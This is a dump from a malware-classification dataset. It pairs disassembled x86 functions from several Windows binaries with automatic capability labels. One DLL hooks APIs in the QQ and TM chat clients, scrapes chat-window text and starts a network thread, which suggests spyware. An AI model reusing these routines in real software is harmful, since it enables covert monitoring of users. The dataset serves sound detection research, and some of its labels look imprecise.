joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esp + 8]
push ebp
mov ebp, 1
push esi
cmp eax, ebp
push edi
jne 0x10001139
mov edi, dword [esp + 0x10]
push edi
push 0x10023d18
call sub.MFC42.DLL_AfxInitExtensionModule
test eax, eax
jne 0x1000102d
pop edi
pop esi
pop ebp
ret 0xc
push 0x40
call sub.MFC42.DLL_operatornew
add esp, 4
test eax, eax
je 0x10001049
push 0
push 0x10023d18
mov ecx, eax
call sub.MFC42.DLL_CDynLinkLibrary::CDynLinkLibrary
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.KernelUtil.dll
call esi
test eax, eax
je 0x1000109a
push str.Find_KernelUtil.dll_Module_
call fcn.10001530
add esp, 4
mov dword [0x10023d10], 3
push 0x10007990
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.10001c10
test eax, eax
jne 0x100010cf
push str.Setup_Api_Hook_Failed_
call fcn.10001530
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
ret 0xc
push str.QQ.exe
call esi
test eax, eax
je 0x100010ba
mov dword [0x10023d10], ebp
call fcn.100011e0
test eax, eax
jne 0x100010e0
pop edi
pop esi
pop ebp
ret 0xc
push str.TM.exe
call esi
test eax, eax
je 0x100010ee
mov dword [0x10023d10], 2
call fcn.100011e0
test eax, eax
jne 0x100010e0
pop edi
pop esi
xor eax, eax
pop ebp
ret 0xc
pop edi
mov dword [0x10023d14], ebp
mov eax, ebp
pop esi
pop ebp
ret 0xc
push str.NscAuth.exe
call esi
test eax, eax
je 0x10001111
mov dword [0x10024010], edi
pop edi
mov eax, ebp
pop esi
mov dword [0x10023d14], 0
pop ebp
ret 0xc
call fcn.100014f0
test eax, eax
je 0x100010d8
push 0x10007060
call fcn.10001530
add esp, 4
mov eax, ebp
mov dword [0x10023d14], 0
pop edi
pop esi
pop ebp
ret 0xc
test eax, eax
jne 0x100011d4
mov eax, dword [0x10023d10]
cmp eax, ebp
je 0x10001156
cmp eax, 2
je 0x10001156
cmp eax, 3
jne 0x100011bb
jmp 0x1000115b
cmp eax, 3
jne 0x10001178
call fcn.10001d00
push 0x10007990
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push str.QQ2009_UnHook_API_
call fcn.10001530
add esp, 4
mov eax, dword [0x1000b438]
test eax, eax
je 0x10001192
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1000b438], 0
mov eax, dword [0x1000b43c]
test eax, eax
je 0x100011ae
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x1000b43c], 0
push str.QQ_TerminateThread_
call fcn.10001530
add esp, 4
push str.Audit_Moudle_Process_DETACH_
call fcn.10001530
add esp, 4
push 0
push 0x10023d18
call sub.MFC42.DLL_AfxTermExtensionModule
pop edi
mov eax, ebp
pop esi
pop ebp
ret 0xc

Function at 0x100011e0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [0x1000b438], eax
jne 0x10001207
push str.Create_NetTransEvent_Failed_
call fcn.10001530
add esp, 4
xor eax, eax
ret
push 0
push 0
push 0x10005400
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [0x1000b43c], eax
test eax, eax
jne 0x10001232
push str.Create_NetTransThread_Failed_
call fcn.10001530
add esp, 4
xor eax, eax
ret
mov eax, 1
ret
Function at 0x10001f60
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x22c
push ebp
mov ebp, dword [esp + 0x234]
push esi
push edi
test ebp, ebp
jne 0x10001f8b
push 0x10007468
call fcn.10001530
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0x22c
ret
mov ecx, 0x8b
xor eax, eax
lea edi, [esp + 0xc]
push ebp
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
jne 0x10002126
push ebx
lea eax, [esp + 0x20]
push 0x20
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0xffffffffffffffec
push ebp
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, eax
mov esi, str.TXGuiFoundation
mov dword [esp + 0x1c], edi
lea ecx, [esp + 0x20]
mov al, byte [ecx]
mov bl, byte [esi]
mov dl, al
cmp al, bl
jne 0x10001ff6
test dl, dl
je 0x10001ff2
mov al, byte [ecx + 1]
mov bl, byte [esi + 1]
mov dl, al
cmp al, bl
jne 0x10001ff6
add ecx, 2
add esi, 2
test dl, dl
jne 0x10001fce
xor ecx, ecx
jmp 0x10001ffb
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
pop ebx
jne 0x10002126
cmp edi, 0x300
je 0x10002018
cmp edi, 0x80300
jne 0x10002126
lea ecx, [esp + 0x64]
push 0x40
push ecx
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebp, dword [sym.imp.MSVCRT.dll_strrchr]
lea edx, [esp + 0x64]
push 0x2d
push edx
mov dword [esp + 0xb8], 1
call ebp
mov edi, eax
add esp, 8
test edi, edi
je 0x10002080
mov esi, 0x1000745c
mov ecx, edi
mov al, byte [ecx]
mov dl, al
cmp al, byte [esi]
jne 0x10002074
test dl, dl
je 0x10002070
mov al, byte [ecx + 1]
mov dl, al
cmp al, byte [esi + 1]
jne 0x10002074
add ecx, 2
add esi, 2
test dl, dl
jne 0x10002050
xor ecx, ecx
jmp 0x10002079
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x10002080
mov byte [edi - 1], cl
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x63]
lea esi, [esp + ecx + 0x63]
cmp al, 0x29
jne 0x100020d8
lea ecx, [esp + 0x64]
push 0x28
push ecx
call ebp
add esp, 8
test eax, eax
je 0x100020d8
inc eax
je 0x100020bc
mov cl, byte [eax]
cmp cl, 0x30
jl 0x100020bc
cmp cl, 0x39
jg 0x100020bc
inc eax
jne 0x100020ad
cmp eax, esi
jne 0x100020d8
push 0x10007448
mov dword [esp + 0xb4], 2
call fcn.10001530
add esp, 4
push 0x10007434
call fcn.10001530
mov edx, dword [esp + 0x240]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x44], edx
call fcn.10002130
add esp, 8
test eax, eax
jl 0x10002119
push eax
call fcn.10002280
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0x22c
ret
push str.Get_Talk_Window_Index_Failed_
call fcn.10001530
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0x22c
ret
Function at 0x100043a0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
xor esi, esi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.32770
push eax
push ecx
call edi
test eax, eax
mov dword [esp + 0x10], eax
je 0x1000448f
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x100043bf
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push 0
push str.32770
push edx
push eax
call edi
test eax, eax
mov dword [esp + 0x14], eax
je 0x100043bf
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x100043ef
xor ebp, ebp
mov ecx, dword [esp + 0x14]
push 0
push str.Static
push esi
push ecx
call edi
mov esi, eax
test esi, esi
je 0x100043ef
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x10004417
test ebp, ebp
jne 0x1000444e
mov edx, dword [esp + 0x20]
push 0x20
push edx
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
inc ebp
jmp 0x10004417
cmp ebp, 1
jne 0x10004466
mov eax, dword [esp + 0x24]
push 0x20
push eax
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
inc ebp
jmp 0x10004417
cmp ebp, 2
jne 0x10004486
mov edi, dword [esp + 0x28]
push 0x20
push edi
push esi
call ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x10004486
mov ebp, 1
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
inc ebp
jmp 0x10004417
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x401000
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov esi, ecx
push str.Microsoft.bin
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x34], eax
je 0x401116
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4080ec
push eax
call edi
test eax, eax
mov dword [esi], eax
je 0x401116
mov eax, dword [esi + 0x34]
push 0x4080d4
push eax
call edi
test eax, eax
mov dword [esi + 4], eax
je 0x401116
mov ecx, dword [esi + 0x34]
push 0x4080c4
push ecx
call edi
test eax, eax
mov dword [esi + 8], eax
je 0x401116
mov edx, dword [esi + 0x34]
push 0x4080b0
push edx
call edi
test eax, eax
mov dword [esi + 0xc], eax
je 0x401116
mov eax, dword [esi + 0x34]
push 0x4080a8
push eax
call edi
test eax, eax
mov dword [esi + 0x10], eax
je 0x401116
mov ecx, dword [esi + 0x34]
push 0x408098
push ecx
call edi
test eax, eax
mov dword [esi + 0x14], eax
je 0x401116
mov edx, dword [esi + 0x34]
push 0x408088
push edx
call edi
test eax, eax
mov dword [esi + 0x18], eax
je 0x401116
mov eax, dword [esi + 0x34]
push 0x408080
push eax
call edi
test eax, eax
mov dword [esi + 0x1c], eax
je 0x401116
mov ecx, dword [esi + 0x34]
push 0x408070
push ecx
call edi
test eax, eax
mov dword [esi + 0x20], eax
je 0x401116
mov edx, dword [esi + 0x34]
push 0x408060
push edx
call edi
test eax, eax
mov dword [esi + 0x24], eax
je 0x401116
mov eax, dword [esi + 0x34]
push 0x408050
push eax
call edi
test eax, eax
mov dword [esi + 0x28], eax
je 0x401116
mov ecx, dword [esi + 0x34]
push 0x408040
push ecx
call edi
test eax, eax
mov dword [esi + 0x2c], eax
je 0x401116
mov edx, dword [esi + 0x34]
push 0x408030
push edx
call edi
mov dword [esi + 0x30], eax
mov eax, esi
pop edi
pop esi
ret
Function at 0x401000
Capabilities:
Get file size
Write file on windows

Disassembly:
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push 0x402592
call sub.KERNEL32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401166
mov dword [0x40204d], eax
push 0
push dword [0x40204d]
call sub.KERNEL32.dll_GetFileSize
cmp eax, dword [0x402029]
jne 0x401124
mov ecx, 0
mov dword [0x40205d], ecx
push 0
push 0
imul ecx, ecx, 4
mov esi, 0x402064
add esi, ecx
lodsd eax, dword [esi]
push eax
push dword [0x40204d]
call sub.KERNEL32.dll_SetFilePointer
mov ecx, dword [0x40205d]
push 0
push 0x402051
push 1
lea eax, [ecx + 0x402463]
push eax
push dword [0x40204d]
call sub.KERNEL32.dll_WriteFile
mov ecx, dword [0x40205d]
inc ecx
mov dword [0x40205d], ecx
cmp cl, byte [0x40205c]
jne 0x401045
jmp 0x4010da
push dword [0x40204d]
call sub.KERNEL32.dll_CloseHandle
mov edi, section.DATA
add edi, 9
push 0x402009
call sub.KERNEL32.dll_lstrlenA
mov ecx, eax
mov esi, 0x402009
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x15
mov esi, 0x402038
rep movsb byte es:[edi], byte [esi]
push 0
push 0x40256a
push section.DATA
push 0
call sub.USER32.dll_MessageBoxA
call sub.KERNEL32.dll_ExitProcess
mov edi, section.DATA
add edi, 9
push 0x402009
call sub.KERNEL32.dll_lstrlenA
mov ecx, eax
mov esi, 0x402009
rep movsb byte es:[edi], byte [esi]
mov al, 0xd
stosb byte es:[edi], al
mov al, 0xa
stosb byte es:[edi], al
mov ecx, 0x15
mov esi, 0x4025b2
rep movsb byte es:[edi], byte [esi]
push 0
push 0x40256a
push section.DATA
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x40111f
mov edi, section.DATA
add edi, 9
push 0x402009
call sub.KERNEL32.dll_lstrlenA
mov ecx, eax
mov esi, 0x402009
rep movsb byte es:[edi], byte [esi]
mov al, 0xa
mov ah, 0xd
stosw word es:[edi], ax
push edi
push 0x402592
call sub.KERNEL32.dll_lstrlenA
pop edi
mov ecx, eax
mov esi, 0x402592
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x4025c7
rep movsb byte es:[edi], byte [esi]
push 0
push 0x40256a
push section.DATA
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x40111f
Function at 0x427e65
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42efd8
cmp edx, dword [eax]
je 0x427e87
add eax, 8
inc ecx
cmp eax, 0x42f068
jl 0x427e78
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42efd8]
jne 0x427fb5
mov eax, dword [0x480478]
cmp eax, 1
je 0x427f8f
test eax, eax
jne 0x427eb8
cmp dword [0x42ed24], 1
je 0x427f8f
cmp edx, 0xfc
je 0x427fb5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x427eef
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00426410
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00425d00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x427f32
lea eax, [ebp - 0x1a4]
push eax
call fcn.00425d00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x429b24
push edi
call fcn.004288f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00426410
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00426420
lea eax, [ebp - 0xa0]
push 0x429b04
push eax
call fcn.00426420
push dword [esi + 0x42efdc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00426420
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00428860
add esp, 0x2c
pop edi
jmp 0x427fb5
lea eax, [ebp + 8]
lea esi, [esi + 0x42efdc]
push 0
push eax
push dword [esi]
call fcn.00425d00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40a6d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x465a3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045a536
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a752
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045844d
mov eax, dword [eax]
push 0x47a1d4
push eax
call fcn.0044b2b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045a7c1
test bl, bl
je 0x40a752
push 0x47a1d4
lea ecx, [esp + 0xc]
call fcn.0045ab51
push 0x47dd4c
lea ecx, [esp + 0xc]
call fcn.0045ab51
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a78e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045a7c1
jmp 0x40a859
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a812
lea edx, [esp + 0x7c]
push 0x47dd48
push edx
call fcn.0044b2b4
add esp, 8
test eax, eax
je 0x40a812
lea eax, [esp + 0x7c]
push 0x47dd44
push eax
call fcn.0044b2b4
add esp, 8
test eax, eax
je 0x40a812
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a7a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045a7c1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b050
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b0b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b0c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x465abb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4841f0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b1f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b126
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045a7c1
xor eax, eax
jmp 0x40b26f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045a8fe
push esi
lea ecx, [esp + 0xc]
call fcn.0045ab8d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b24d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040b050
test eax, eax
jne 0x40b24d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040b050
test eax, eax
jne 0x40b24d
lea eax, [esp + 0x14]
push 0x47dd60
push eax
call fcn.0044c2f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b22c
lea ecx, [esp + 0x14]
push 0x47dd5c
push ecx
call fcn.0044c270
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b22c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b22f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045a8ae
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b13e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045a7c1
xor eax, eax
jmp 0x40b26f
mov byte [esi], 0
push 0x47dd58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045a7c1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41b8e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41b94e
cmp si, 0x69
ja 0x41b94e
add esi, 0xffd0
cmp si, 0x11
je 0x41b91e
push 0x11
call edi
test ax, ax
jge 0x41b91e
or esi, 0x2000
cmp si, 0x10
je 0x41b933
push 0x10
call edi
test ax, ax
jge 0x41b933
or esi, 0x4000
cmp si, 0x12
je 0x41b948
push 0x12
call edi
test ax, ax
jge 0x41b948
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41b95b
mov esi, 0xbd
jmp 0x41b90f
cmp si, 0x6e
jne 0x41b968
mov esi, 0xbe
jmp 0x41b90f
cmp si, 0x6f
jne 0x41b909
mov esi, 0xbf
jmp 0x41b90f

Function at 0x41d090
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x494848]
xor edx, edx
cmp eax, edx
jne 0x41d0b6
xor eax, eax
mov byte [eax + 0x494748], al
inc eax
cmp eax, 0x100
jl 0x41d09e
mov dword [0x494848], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x494748
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d147
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d11a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d0e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d1c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d213
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d1fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427050
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x466f88
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x427089
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00461eaf
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00461efb
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00427110
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00461f38
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42b5d0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x467718
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.0042c150
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42b679
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0042b260
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00461160
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.0043a900
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.004611d2
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14